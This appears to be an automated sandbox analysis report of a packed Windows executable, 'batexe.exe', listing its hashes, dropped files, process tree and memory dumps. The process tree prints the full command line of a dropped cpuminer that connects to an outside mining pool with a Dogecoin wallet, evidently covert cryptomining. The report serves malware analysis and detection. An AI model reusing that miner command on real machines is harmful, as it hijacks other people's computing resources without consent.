73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 13:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2944	b2e.exe
512	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
512	cpuminer-sse2.exe
512	cpuminer-sse2.exe
512	cpuminer-sse2.exe
512	cpuminer-sse2.exe
512	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4728-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 2944	4728	batexe.exe	75
PID 4728 wrote to memory of 2944	4728	batexe.exe	75
PID 4728 wrote to memory of 2944	4728	batexe.exe	75
PID 2944 wrote to memory of 4628	2944	b2e.exe	77
PID 2944 wrote to memory of 4628	2944	b2e.exe	77
PID 2944 wrote to memory of 4628	2944	b2e.exe	77
PID 4628 wrote to memory of 512	4628	cmd.exe	79
PID 4628 wrote to memory of 512	4628	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Users\Admin\AppData\Local\Temp\A18F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A18F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A18F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A345.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A18F.tmp\b2e.exe

Filesize
896KB

MD5
1f22d8bf5f6c3dda3e880ea1ba0417d4

SHA1
2a8dbf2319999a894714bdea650eb5be32c64c19

SHA256
afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

SHA512
217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

Download Submit
C:\Users\Admin\AppData\Local\Temp\A18F.tmp\b2e.exe

Filesize
1.0MB

MD5
692f0588e3d1882d0bc1a2a10173ccd6

SHA1
fbd7a444fec05e6057b79a8e3db0ca0e83b52cf9

SHA256
4303a4d33f2351beaecd652351f74c9ca73591616015e3e1b6a4c2dc336b46bb

SHA512
f5b0b64711d0db4e6ceacf08ed9ec646d053c5aed40828e474a014b1f70c59aa517f979e191537577b824a9b0c47de415b6c09115e873819a79b409fe5ba3e93

Download Submit
C:\Users\Admin\AppData\Local\Temp\A345.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
c265f978bc75f5290c216fb60ecc32a3

SHA1
bea67ab1a2c16573d0de3f587de10d2a25877193

SHA256
c34440a94573818c878e766a6cd5f7eba8e3c6788bad3ac37389f9de91a7bc3a

SHA512
ab8f9ee0952fcf77e944e1f6f6ba46bb1003e91e57b0bf1b6a5988a977396d8b666c97c78d504cf00caca3ac856c243c9f8bc9600d62cf3642c71cbb59fc258e

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
b69b2b567106989129ddd1f281a2dbfc

SHA1
f920cdbab8e8093c517e2fe6f927532e18f4f230

SHA256
7cb5d6cab0fa416105b593d2b5a12d9f87fbd74ee6ab856b7771060dddcfe0cc

SHA512
9757224357a416619e6f265b7d470794aa4da7a0c33d0bd2809a9288dd629258357b3c799fcc2663a08bfcb254e00233b9c8d36f0c3188e95a1ffa1ee1334578

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.5MB

MD5
8b672271bedd3ce0c0481bd60e535e95

SHA1
b6d8191e2a18a9104b92d3cb4c9130a75afb56a7

SHA256
a3db20d766a1241595a47f877fefdb767fa577c97f7098443c958d90a09afe91

SHA512
289883e7d0d97f1743440d77a8185a5ee720d7845c252163dddae724232f58fca2ccf2ff9f08173de7e69a6367087b181d7759a4046af4f636bd921c69d8303c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/512-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/512-42-0x000000006DB00000-0x000000006DB98000-memory.dmp

Filesize
608KB

Download
memory/512-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/512-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/512-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/512-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2944-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2944-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4728-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download